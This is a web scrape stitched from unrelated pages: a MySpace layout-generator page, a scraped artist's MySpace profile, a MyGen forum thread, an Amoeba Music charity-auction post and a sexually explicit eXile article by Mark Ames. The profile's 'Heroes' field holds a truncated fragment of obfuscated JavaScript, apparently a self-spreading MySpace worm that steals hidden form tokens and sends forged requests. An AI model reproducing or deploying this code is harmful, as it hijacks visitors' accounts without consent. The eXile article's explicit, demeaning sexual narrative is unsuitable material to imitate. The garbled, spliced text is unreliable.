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Customize myspace profile, Edit Myspace, html tutorials for your webpage, Add Decoration to your myspace page, 200 gifs to decorate myspace xanga skyblog, Myspace profile generator, Get code for myspace page, Design myspace with myLook, Customizing Tools for Myspace, How to Add Background Color to Myspace, Myspace HTML Coding, customize myspace page, Home MyLÓÒk MyAudio MyVideo Gifs Pictures Online Icon Cool! FX HOT! MyContact New! Cursors New! WhoreME! HTMLCodes CommentBox FriendsList Interest Games FUN! Fun2Watch FUN! Avatars HOT! HTML Area MyName MyTextArt Backgrounds & Gifs Layouts HOT Playlist NEW! Filter FX Flash Album ScrollBars NEW! Text-Fade HOT! Text-Gif HOT! GlitteringText Superb! Season Graphics HOT! Customize Your MySpace with MyLk! Welcome to MyLk: a tool to design your MySpace! This page helps you update your MySpace profile, by generating the codes you need to change the style. It's totally automatic! Impresse your friends! in minute! Here how to Customize myspace page: Choose what mode you want Choose your favorite color -(`v)- Choose the style that you fits you best Finally Click on "Generate Myspace code" and DONE! or you can click on "Preview" to see what you did and change if need Just copy it (ctrl-C) and paste (ctrl-V) it into your ABOUT ME section on MySpace. Note: DO NOT put the code in the "Companies" section! The code will also work in the BIO section on band profiles, in the Description section of myspace groups, and on several other websites. Mode: Keep it Simple Advanced (more choices) Background Color: Background Image: Off On Image URL: Center: Attachment: Fixed Scroll Background Music: Off On Music URL: Loop: On Off Click here to get Music Songs for your site (www.htmate2.com/myaudio/) Click here to get Music Video for your site (www.htmate2.com/myVideo/) Click here to get Gifs to decorate your site (www.htmate2.com/gifs/) Click here to Change your mySpace Online Icon (www.htmate2.com/onlineicon/) Click here to Get Awesome COntact Table HOT!! (www.htmate2.com/contact/) Opens in new window. Font: Normal arial arial black comic sans ms courier new georgia helvetica impact tahoma times new roman verdana webdings OTHER Click here to see a list of fonts choice Main text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Link text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Link text hover color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Image Borders (color change): Off On Image border color: Image border hover color: Image Effects: Off On Translucent / light-up images: Table Background color: New! Transparent? (Transparent will make your background replace the color of the table) Interests link text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Interests link text hover color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Navigation link text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Navigation link text hover color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Main table border color: Secondary table border color: Name text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Comment date text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Headline text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Headings text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Interests headings text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Extended network text color: Size: 8pt 10pt 12pt 14pt 16pt 18pt 20pt 36pt 72pt Bold : Underline : Italic : Click the Generate Code below to generate the code. None Get More Colors! (Tons!)
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www.myspace.com/jeffclaassen MySpace.com | Home The Web MySpace Help | SignUp Home | Browse | Search | Invite | Rank | Mail | Blog | Favorites | Forum | Groups | Events | Games | Music | Classifieds jeff and stuff " lick my pants " Male 26 years old san luis obispo, California United States Last Login: 1/11/2006 View More Pics Contactingjeff and stuff MySpace URL: http://www.myspace.com/jeffclaassen jeff and stuff's Interests General huh Heroes 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf(' jeff and stuff's Details Status: Single Here for: Networking Orientation: Straight Hometown: san luis obispo, ca Body type: 6' 1" Ethnicity: White / Caucasian Zodiac Sign: Virgo jeff and stuff's Networking Publishing - Art - Other jeff and stuff's Companies jeff claassen gallery - 968 higuera number 209, san luis obispo, ca US www.jeffclaassen.com opened gallery in nov 2004 and still going strong www.sxtyfoursquares.com slo, ca US first floor janitor www.sxtyfoursquares.com forever jeff and stuff is in your extended network jeff and stuff's Latest Blog Entry [ Subscribe to this Blog ] 12-29-05 - new shirts available ( view more ) 12-28-05 - new commission painting ( view more ) 12-6-05 - "hi, i'm cute" screenprint edition ( view more ) 12-2-05 - gonzo ( view more ) 11-30-05 - "sketchy friends" screenprint ( view more ) [ View All Blog Entries ] jeff and stuff's Blurbs About me: visit www.jeffclaassen.com subscribe to the "jeff claassen" elist to receive updates about upcoming shows, site updates/promotions, new products, and other blatant sales pitches! - art blog - view screenprint editions art gallery: www.jeffclaassen.com 968 Higuera Suite 209 San Luis Obispo CA (mailing address: po box 14157 - SLO - CA - 93406) arts collective: www.sxtyfoursquares.com sxty/four squares myspace profile Who I'd like to meet: members of the creative populace - art heads...be it creators or collectors. gallery directors that want to hang my things on their walls. magazine editors that want to put my things on their pages. bands that want to put my things on their album covers. and basically everybody in between. jeff and stuff's Calendar ( view all ) Jan 28 2006 4:00P art show at primary space @ Primary Space Gallery jeff and stuff's Friend Space jeff and stuff has 3428 friends. sxty/four squares Pacific Art Collective Gallery Nineteen Eighty Eight Dro The Clovis Blackwell Club floppy dawbis Juxtapoz Art & Culture Magazine View All ofjeff and stuff's Friends jeff and stuff's Friends Comments Displaying 50 of 1756 comments ( View/Edit All Comments ) wendyspolaroids 1/11/2006 10:19:00 AM <<Panic in Polkadots>> 1/10/2006 10:20:00 PM thank you for supporting creativity! ^panic^ ♥Work In Progress 1/10/2006 2:27:00 PM I was at Salon Lux last night and saw the new pieces of your art work you were putting up..VERY COOL!!!! You have an amazing style and it intrigues me. Shell A.B. Designs 1/10/2006 9:47:00 AM ABD NewArtJunk sun~kissed 1/10/2006 6:33:00 AM Thank you! Your oh too kind! Have a phenominal day! GDPC MONEY 1/10/2006 2:42:00 AM Thanks Jeff and Stuff for the add. Carolyn Mary Kleefeld 1/9/2006 11:10:00 PM SOPLAS !!! 1/9/2006 6:50:00 PM COMING TO A CITY NEAR YOU, COLLABO! U*G*L*Y 1/9/2006 6:02:00 PM Artwork by Lost Goat 1/9/2006 5:22:00 PM Chainsaw Doll Killer 1/9/2006 7:39:00 AM Thanks for the add! I love your work! Buddha 1/8/2006 9:44:00 PM This is my newest painting…. Its called The Sky is Falling Click my art to check out my online store and see my new designs on posters, clothes and more!. Stay Blazed! b HILo 1/7/2006 3:45:00 PM YO what up, space friend??? happy new year!!!! yer stuff looks good. Vèrta Reyes 1/7/2006 2:27:00 PM Lennisse 1/7/2006 12:09:00 AM Jeff, I haven't seen you in over a week! I might just have to go visit you tomorrow...if you're lucky :) Paint it bLACK!!!! 1/6/2006 10:34:00 AM Girl Anachronism [Kisaragi] 1/5/2006 10:27:00 PM here's summa mah stuffsz: not my best er anything..................... Unleaded Clothing 1/5/2006 12:16:00 PM big things for you in the '06 friend UNLEADED CLOTHING SITE LOCATED AT: WWW.UNLEADEDWORLD.COM (Click on the Tape) Then...CLICK ON OUR MAIN IMAGE ON THE SITE TO ACCESS INFORMATION ON THE COOLEST THINGS IN CLOTHING, SNEAKERS, MUSIC, SPORTS, GADGETS, AND MORE and please tune back while our site is still Under Construction Unique Expressions by Jes 1/5/2006 9:21:00 AM Thanx 4 bringing originality to the world! Visit My eBay Store: Unique Expressions by Jes?refid=store Tuere ™ 1/4/2006 4:31:00 PM Just stoppin by to wish all my Friends a Happy New Year! T RRizzle 1/4/2006 1:47:00 AM aNu 1/3/2006 8:17:00 PM :: hope you're doing GREAT! :: here's my latest piece .. loves to you :: cLiCK me! :: susie 1/3/2006 2:13:00 PM Cool stuff!!!! Happy New Year! k e l l y ! 1/3/2006 12:07:00 PM Happy New Years, homie... [!] Malachai Clothing 1/3/2006 11:54:00 AM Hey, We at Malachai Clothing wanted to thank you for your friendship over the past year, and we look forward to seeing you around in 2006. Please stop by, say hi, read the Malazine , and check out the great deals on our Men's and Women's pages. Thanks, Jeff! Keep up the hard work!! damien@wearmalachai.com blaike alexandra 1/1/2006 1:18:00 AM happy new year! Jade 12/31/2005 11:02:00 PM where the shit have you been? i'm downtown all the time because of work and your never here. bastard. is my sweater ready? Cynthia 12/31/2005 6:53:00 PM Danary 12/31/2005 1:51:00 PM angela 12/31/2005 12:48:00 PM In the coming year, DO SOMETHING, SAY ANYTHING, LOVE YOURSELF. Just don't let another year pass you by!!!!!!!!!!!!!!!!! Joeni-Reppin' NYC 12/31/2005 12:13:00 PM just wanna say BAPTMAN 12/31/2005 7:59:00 AM Eat My Short 12/31/2005 1:33:00 AM jeff!!!!!!!!! have a kickass 06!!!!!!!!!!!!!!!!!!!! melissa k 12/31/2005 12:44:00 AM well i havent seen you in about a year. how have you been bdollproject 12/30/2005 8:44:00 PM Happy New Year! le rendez-vous 12/30/2005 7:48:00 PM :) alas... she has a home. thanks jeff. i love her. -bridget Haik 12/30/2005 3:34:00 PM Happy New Year!!! Haiko Eat My Short 12/30/2005 9:31:00 AM shadiah 12/30/2005 12:03:00 AM thanx for everything! have a happy new year's! : ) Abigail 12/29/2005 3:31:00 PM PILLCULT 12/29/2005 11:48:00 AM Hey Jeff I want Mora him! 12/28/2005 8:33:00 PM Your new commission looks great! Let me know if you'll be making screenprints of it because I'd love to invest in one. :] C ATV 12/28/2005 8:28:00 PM THE PLAYPEN 12/28/2005 6:33:00 PM julie 12/27/2005 9:32:00 PM Abandoned Clothing 12/27/2005 1:12:00 PM We finally got our brand new products in and they are off the hook! Check them out! no credit card? no problem! Just use "pay by cash" at check out and your set to go! Click here or click one of the pictures! I’m all lost in the supermarket 12/27/2005 12:11:00 PM jeff!!!!!!!!!! you gave me my 900th comment! I’m all lost in the supermarket 12/27/2005 11:28:00 AM you'd be such a cool uncle. did you like... get them face paints and draw all over their faces? they could be you're walking artwork haha. Toofy Film Fest 2006 12/27/2005 10:25:00 AM Thanks for supporting the Toofy Film Fest 2006 chuckwagon 12/26/2005 9:28:00 PM Add Comment About | FAQ | Terms | Privacy | " target="_blank" Safety Tips | Contact Myspace | Promote! | Advertise | MySpace Shop ©2003 MySpace.com. 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MySpace Page Editor
MyGen 2.5 - MySpace Profile Creator/Editor/Generator :: View topic - CLUELESS !! Home Create Profile Pre-made Profiles Contact Tables Generators Tutorials Log me on automatically each visit Register Log in to check your private messages MyGen.co.uk - MySpace Profile Generator Sponsored Links MyGen.co.uk Forum Index » MySpace Profile Help CLUELESS !! View previous topic :: View next topic Author Message trkelsey22 Posts: 4 Posted: Tuesday 13th December 6:32pm Post subject: CLUELESS !! I am so clueless when it comes to making a myspace page, I would really appreciate it if someone would help me in creating a nice page the way ive always imagined it to be. PLEASE Back to top Kay MyGen Mod Posts: 318 Posted: Tuesday 13th December 7:08pm Post subject: go to the generator then u can make a nice one _________________ MyGen Moderator Back to top trkelsey22 Posts: 4 Posted: Tuesday 13th December 10:16pm Post subject: I have made one somewhat but there are a few things I would like to change and have on my profile. I would like to have a M.A.C COSMETICS logo on it, as well as a new contact table and some pictures but I cannot seem to figure out hwo to do it. Back to top Display posts from previous: All Posts 1 Day 7 Days 2 Weeks 1 Month 3 Months 6 Months 1 Year Oldest First Newest First MyGen.co.uk Forum Index » MySpace Profile Help All times are GMT Page 1 of 1 Jump to: Select a forum MyGen Announcements ---------------- News & Announcements MySpace Profile Help Forums ---------------- Profile Layout Images Music Videos Flash Other HTML/CSS Help MySpace Profile Help MyGen Forums ---------------- MyGen Support Suggestions/Comments MyGen Bugs Contact Tables Everything Else ---------------- Rate My Profile! Anything Goes! You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum This page was created in 0.81 seconds Powered by phpBB 2.0.11 © 2001, 2002 phpBB Group Portal Code & Design by Rob Hall
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blog.myspace.com/amoebamusic < Back MySpace.com | rss | sign in | sign up Amoeba Music Last Updated: Jan 6, 2006 Send Message Instant Message Email to a Friend Subscribe Gender : Female Status : Single Age : 18 Sign :Capricorn City : SAN FRANCISCO State : CALIFORNIA Country : US Signup Date : 07/28/04 My Subscriptions: luke Tuesday, September 13, 2005 Auction every Saturday at Amoeba Music for Hurricane Katrina Relief! AMOEBA MUSIC IS TAKING DONATIONS FOR THE GULF RELIEF EFFORTS! Donate at Amoeba and we'll match individual donations dollar for dollar! (up to a $1000) --- and--- EVERY SATURDAY AT 4PM we're holding Rock & Roll auctions for: CONCERT TICKETS! COLLECTABLES! RARE POSTERS! SIGNED COOL STUFF! & MORE!!! with ALL proceeds going to the relief effort. Come on down and get some cool items-while raising much needed funds!! check www.amoebamusic.com for auction details in the Hollywood and San Francisco Amoeba Music store. 7:30 PM - 1 Comments - 0 Kudos - Add Comment Amoeba Music We had a really great auction at the SF store this past Saturday. Our guest auctioneers, Michael Pettersen and Lynne Brady were just so truly amazing! Theyre my new heroes! The chemistry between the two was just as wonderful as it always is, but in rare form! I see an undiscovered comedy duo in the making. Or perhaps co-hosts of a new talk show. Aside from the obvious draw that folks have towards Lynne and Michael; their humor, hearts and smiles got people pumped and feelin' good about being able to contribute in some way, while also winning cool stuff! It was Michael's swift tongue and suave suit, along with Lynne Brady's sincerity and attention to detail ("...it's shiny!", "think of the puppies..."), that touched people and encouraged them to dig deep. We brought in almost $700 from this auction, and collectively, were raised almost $1400 towards the cause in about an hour! Now thats what I call action and response! Thanks to Craig Hermes for the generous donation... thanks for showing your faces and caring everyone! KP, you brought it! And what amazing model Brad Schelden was, I know that Styx t-shirt wouldn't have gone for the amount it did had you not been standing right behind it! Jessica, Kaitlin, Soari, Noelle, Don, Josh P, Sarah, Eddie, John Garcia, Glen, Zach, Dax, David A, Craig, Ben T, Tony Green, Brent, Mateo, All those who donated items for the auctions, friends of Amoeba, and everyone else who participated, bid, donated, listened, cared, and acted in some way - BIG HUGE THANKS! If you had fun, please come back. If you werent there, heres an idea of what we auctioned: Tickets to Iron & Wine w/Calexico A Leonard Nimoy tie As vs. Angels tickets Tickets to Tracy Chapman Tickets to Mars Volta A vintage 1977 Ramones tour poster, mounted and framed A White Stripes cardboard mobile AC/DC, Styx, Mile Davis & Cher t-shirts A Pee-Wee Herman sweatshirt A Kiss lunchbox A Simpons poster of all the characters A bundle of cassettes of Berlin, Cyndi Lauper, Tiffany Sorry, but I dont have any pictures of the action to share cause I was too busy bidding! More to come every Saturday at 4 PM in both SF and Hollywood! Posted by Amoeba Music on Sunday, September 25, 2005 at 10:16 PM [ Reply to this ] About | FAQ | Terms | Privacy | Safety Tips | Contact Myspace | Promote! | Advertise | MySpace Shop ©2003-2006 MySpace.com. All Rights Reserved.
Whore Train
eXile - Issue #160 - Whore-R Stories - Whore-R Stories: the Sluts of Slutsk - By Mark Ames Moscow-based alternativenewspaper Search the eXile All Issues This Issue This Author This Column | Advanced Search... Email thousands of beautiful Russian Ladies! Home | Archive | Club Guide | Restaurant Guide | Songs | Field Guide To Moscow | Political Trading Cards | About Us Browse Column (19) Previous (1) Next (17) Whore-R Stories: the Sluts of Slutsk By Mark Ames ( editor at exile ru ) Browse Author (147) Previous (54) Next (90) I n the last issue, I made the claim that the line between a slut and a whore in Russia is rather blurred. In this, the second installment of Whore-R Stories, I'm going to examine the other side of the equation: The Slut. What better place to test the slut-whore-equation theory than in the Belorussian town of Slutsk. I nit you shot, folks. There really is such a town, located about 100 kilometers southwest of Minsk. Ever since my first and only visit to Belarus over five years ago, the land of Europe's last dictator has always held a special place in my heart (and other organs). Minsk, after all, is where I first discovered the White God Factor. But a provincial town with a name like Slutsk must have something much more than a White God factor - say, a Big Bang God Factor ... As a professional investigative journalist and veteran explorer of the FSU's hinterlands, I knew that fate, as well as desperation, would draw me to Slutsk and, like Stanley in the Congo, I'd report the exotic findings back to my readers. Only instead of bringing back shrunken heads, I hoped to bring back carefully preserved samples of chlamydia, smuggled on my person. The two-and-a-half hour bus ride from Minsk to Slutsk cost two dollars. On the outskirts of town there is a familiar cluster of 8 and 16-story paneli, Brezhnev-era housing projects, dirty white with blue or purple stripes straight down the elevator shaft. In the center of town the structures are smaller, a mix of pre-Revolutionary two- and three-story houses painted yellow, green and pink, side by side with Soviet concrete boxes. Slutsk is run by a Saiko. Literally. The head of the Slutsk city council, with its cookie-cutter Lenin statue out front, is named Saiko. Slutsk has one hotel, aptly named "Hotel Slutsk," on the main street, Ulitsa Lenina. There was fresh blue paint in the lobby. The elevator didn't work. I was given a room on the fourth floor. A single for $33, not exactly cheap. After wandering around town freezing my ass off for most of the afternoon while trying to get noticed, I took a rest in my hotel room then headed back out. It wasn't looking good. The two top restaurants were butt empty. I found a cafe that looked promising, slut-wise. Standing outside the entrance were two women - not girls, but women - bundled in cheap fur coats and hats. They smiled as I passed, and I said hello with a pronounced foreign accent. The cafe had only two patrons. One man was slumped in his chair; his friend scowled at me, one eye open. I sat at the far end and ordered 150 grams of cheap cognac. Just then, one of the women from outside the cafe entered, walked towards and then passed me, turned to leave, then turned around a second time and said to me, "We feel sorry for you being alone. Would you like to join us somewhere else?" "Sure," I said. "Meet us outside." She walked out. I downed as much of the cognac as I could take and asked the bartender, an aging woman, "Are all Slutsk girls this friendly?" "Only if the person is from out of town," she answered. I joined the two women outside the door. "That cafe was horrible, we couldn't even stand being in there," said the one who'd rescued me. Her name was Olga, and the other one was her younger sister, Yulia. They told me that there was a much better caf down the street with a better crowd. They were waiting to join a friend of theirs, Alla. We powerwalked along the ice as best we could to the next cafe, called V Dalee ot Zhyon, or Far Away From The Wives. It was crowded, packed mostly with young banditibees in black leather coats. A few had young girlfriends on their arms, cute ones too. Alla stood at the counter and ordered: a carafe of vodka, four crab and mayonnaise salads, sliced ham, bread, Sprite, and a bottle of Medvedovskaya Krov wine for Olga. Adding two more vodka carafes and other goodies, the whole bill came to nine dollars. I sat next to Olga, who told me that she'd spent the whole past week inside her apartment and that today, she'd decided to go out with her sister and Alla. I didn't really get a good look at Alla yet. Her face was either hidden in a full fur hood on the street, or she was at the bar giving endless orders. It wasn't until she took a seat directly across from me that I literally yelped, knocking into the table: her face looked exactly like the possessed witch in Army of Darkness, the same long shock of silver hair, a gray complexion, gnarled nose and a mouth full of metal teeth: "You shall never get the necronomicon! We shall feast upon your sooooooul..." I had to drink fast. It was clear that I was supposed to be paired up with Olga, who was passably attractive despite the complex wrinkles around and under her eyes. I stole glances at the mini-mafia molls, wondering to myself why I, considering my White God Factor, was stuck with a bunch of old hags, and whether I should try my luck elsewhere. But there was no elsewhere. Olga was thirty-three years old. She told me she'd been to Poland many times, and had recently been to Moscow. Her sister Yulia was twenty-seven. She was one of three sisters and two brothers in the family. I asked Yulia if all Slutsk families were so big, five children, not exactly the norm in modern Russia. "Yeah, we're all like this. I know a family of ten. There's nothing else to do." Yulia said she'd worked for six years as a dancer at Stary Zamok, the town's top restaurant. I assume that meant she was a whore, if the distinction matters. She seemed both proud and unhappy about having been a dancer there -- "It's the best restaurant in Slutsk" -- after six years, she had nothing to show, and now she worked in a factory. That's how she met Alla. Alla told me that the owners of the cafe respected her because just the night before, she'd found her "man" there with three other women and she beat the shit out of him and one of his lovers who hadn't managed to escape. "I beat him unconscious," she said, brandishing her fist and laughing. "You shouldn't mess with me. That bastard. I did everything for him. I worked and put a roof over his head, and he goes and takes three lovers." None of this was helping my mojo: aging women, a haunt who doubled as a man-beater, images of Alla having sex with some unemployed, salo-fattened prole, and him with his three lovers... Alla told me she'd once beaten the shit out of Yulia. That's how they became friends. Yulia lived in the same podezd as Alla. And Yulia carried on an affair with Alla's then-boyfriend. Alla found out, stalked Yulia, and stomped her. After that, they became friends. To prove it, they kissed like a pair of football players, smacking loudly but very un-sexually. Olga quietly emptied the bottle of Bear's Blood next to me. She was amazed that I was American. "I've known Polacks," she said. "I thought you were a Caucasian. You seemed nice and handsome, a foreigner, so I decided we should rescue you from the club." The night starts to get blurry here. I pushed myself to go on until the bitter end, to get the story. But the cheap liquor, the travel and cold suddenly put a sleeping spell on me. I remember we stumbled across the road to Stary Zamok, but it had closed early for lack of a single client -- on a Thursday night! They led me to some kind of second-floor club with a bar and a small disco. All I remember is ordering the worst pelmeni of my life, and eating it. Then stealing some of Yulia's horrific fried meat balls -- tongue meat in a brown chewy foam-like batter. I was burping up bad pelmeni meat into Olga's face as she tried to keep the mojo going. "I smell your pelmeni." "I know." "You want to sleep, don't you?" I was sound asleep in my chair for most of the rest of the evening, I mean deep REM sleep, until they mercifully decided to leave. Olga pulled me away from the other two and walked me downstairs. "You want to stay with me at my place, don't you?" she said. "Yes, I want to stay at your place," I said. She bundled me into a taxi, and I passed out again. Then awoke in the projects. We rode the elevator up to her apartment. A mountain bike blocked the door -- she moved it aside -- and in the first room next to the entry hall, I noticed the head of a young teenager, the Bobby Brady of Belarus, resting on a pillow. He told Olga that "he" had called a few times. "He" turned out to be her "man," as she called him, a Czech businessman who was part husband, part sponsor. Olga closed the door to her son's bedroom, which probably doubled as the TV room as well, and whispered to me, "My man feels that I'm with someone. Men can sense these things. You understand?" "Yeah, I understand," I said, stung, because for the most part men don't understand. She called her "man" on her phone, while I crashed on her bed, a double made out of two twins pushed together covered with a pink comforter. Olga woke me up and asked me if I wanted to take a shower. "No." She came back again what seemed like hours later with a towel. "Go take a shower," she said. I snapped the towel and lifted myself up. I couldn't pass out here. Good money had been sunk into the Slutsk expedition. And here I was, in the slut's very own habitat, as close to the kill as anyone could hope to be. The eXile's shareholders would never forgive me if I copped out now. She took her obligatory pre-sex dyev shower after seeing mine through. I kept myself awake by trying to record the details of her bedroom. It was modestly luxurious by early 90s Warsaw Pact standards. She had a gaudy pink light fixture, a kind of mini-chandelier with pink glass orchids and various blooming lamp pedals. Above the dresser mirror was a collection of German hair styling spray bottles. They must be hard to find in Slutsk -- I remember Czechs and Poles displaying their Western cans of spray and soft drinks in the early 90s. Olga also had large posters of scantily-clad women on her walls, including one in a bikini thong whose figure had been cut out from the rest of the poster and glued to the wall. When Olga returned I pounced. She wasn't what I'd expected: instead of the lumpy, smelly, sweaty body of a typical aging provincial slut, she was thin, much prettier with all her clothes off, with something of Meg Ryan's mouth (not that I like Meg Ryan) and a fashionable mom hairdo. The other surprise was how dry her snapper was. I remember what Dr. Limonov had written about older women's pussies -- "like glue" -- it was one of the reasons why he "gave advices" to "throw away older wife, get yourself young teenage girl." Her small breasts had large No. 2 pencil eraser nipples, but no matter what tricks I tried pulling out of my bag, her snapper was like cloth, like putting your fingers between worn leather cushions on an old couch. "It's been so long since I've been with a man," she told me. I tried to close the deal, but it wasn't working. "I'll get some cream," she said. She stood up and opened a drawer in her dresser. God knows how I managed to maintain wood during this -- I'm not happy about it, believe me. She squirted some cream into her hand and worked it into her gluey snapper. That made things marginally better. Finally I worked my way in. But for all my effort I didn't get much pleasure and nothing close to an orgasm. I passed out after - maybe five minutes, maybe thirty, maybe an hour, I really have no idea. Early the next morning I awoke with a rancid hangover and a mouth nearly as dry as her pussy. The neighbors upstairs were stomping around. "Let me put on some music," she said. She played some kind of Italian pop cassette on her box. "I've had a problem with my neighbors ever since I moved here," she said. "They don't work. They're both alcoholics. They wake up every morning at six and stomp around loudly. It used to be worse. They'd put on some kind of hard soles and stomp loudly on their wooden floor. I called the militia on them. It only made them angrier. So I went upstairs and demanded that they not wake me up at 6am. I screamed. They're a couple, in their forties, with a 16-year-old boy. They were rude, so I forced my way in and beat the hell out of both of them. They were so drunk, and I was angry. Alla's not the only one - I can do that too." It was hard to imagine Olga like Alla -- in the morning she appeared, in spite of her sandpaper snapper, even prettier. "I bought them carpeting. They took it. It's much better now, but it's still unbearable, isn't it?" "It's pretty loud," I agreed. It was hard to imagine that there was carpeting muffling their shoes -- it must have sounded like a construction site before. "I tried everything. I tried being nice. I brought back chocolates from Brno when I visited my man. The 16-year-old upstairs loved them too much. He called me a later and said, 'Those chocolates were so good. If you don't bring me more of those chocolates soon, I'm really going to make a racket upstairs, and much earlier than ever.'" "You should have told him that if he ever threatened you again, he'd never see another Czech chocolate in his life," I said. "I did. I told him, 'Who the hell do you think you are, you little bastard?! I should come up there and tear you to pieces. You're threatening me?! Forget the chocolates! If I ever see you..." " -- Okay, I see," said, interrupting her. These Slutsk girls...someone should hustle them in mud wrestling competitions. I asked her about her "man." They'd met a year and a half ago. She took a job in a factory in Brno, working on a line, tying ribbons around packages of paper napkins. "I had financial difficulties, I had to find work," she said. The owner of the factory walked the floor one day and spotted Olga. "He saw me, pulled me off the line, told me he didn't want to subject me to such work ever again, and said he'd fallen in love. Just like that. I wasn't so sure. He's almost 50. He's an older man, with a stomach." So I'm not the only one acting out Count Tolstoi fantasies. The Czech understood the true advantage of running a sweatshop using cheap Slavic labor: that stroll down the factory line, inspecting the women workers, rating them, fantasizing about how desperate they are, and finally, choosing whichever one he wanted to "rescue," acting out some 19th century European fantasy. "He wants me to move to Brno, but I don't want to," Olga said. "My son, I want him to stay in school here. He also wants me to move to Moscow, where's he's considering opening up another factory. Assembling furniture and other stuff. I went to Moscow with him a few months ago. There's a Czech mafia in Moscow. We all went out for dinner and a long night at the casino: me, my man, the Czech mafia and the local Russian mafia who would be the krysha for his factory. At the end of the night, most of them had left their phone numbers in my purse. I was so surprised when I saw what they'd done. Of course I didn't tell my man. It would just upset him." Olga had married and birthed her son when she was nineteen. Her first husband was an Army type and a loser. He always wanted to punish the boy. They divorced after five years. The boy didn't want to see his father -- he was happy to have him out of his life. The father moved to Minsk. They saw each other once every year or two. Olga's own family were sluchyaninie on her mother's side, Siberians on her father's. Her grandmother told her about the Nazi occupation of Slutsk. "Most of the time the Nazis were okay. My grandmother and grandfather lived out in their dacha. The Germans would come back and say, 'Ekks!' They wanted eggs and food. My grandma said they were polite and paid for everything. Then they went crazier. Once they locked up as many people from the village as they could fit inside a barn and set it on fire. My grandmother heard the screams." "Wasn't Slutsk a Jewish town before the Nazis came?" "Yes, there were many Jews here. The Nazis killed all of them." "Are there any left?" "Not that I know of." Her parents both worked in the railroads. Her father was a signal man. Now he's an invalid. About two years ago he'd injured his leg badly in a railroad track accident and didn't get proper treatment for it. Being the hardy peasant type, he didn't complain as it got worse. Then it turned green and black. "He got gangrene. They had to amputate it. Now he doesn't want to live. He tells me that he wants to die and not be a burden to us. The gangrene may have spread to his other leg. He may have to have it amputated soon." I asked about Belorussian medical insurance, the one I was forced to purchase through the hotel as a tourist. "Ha! What medical insurance! You're on your own here. Actually the burden is all on my shoulders. Everyone barely survives. My man helps out a lot. It's one reason why I'm with him. He's good for my son, for my family. He helps with so much." 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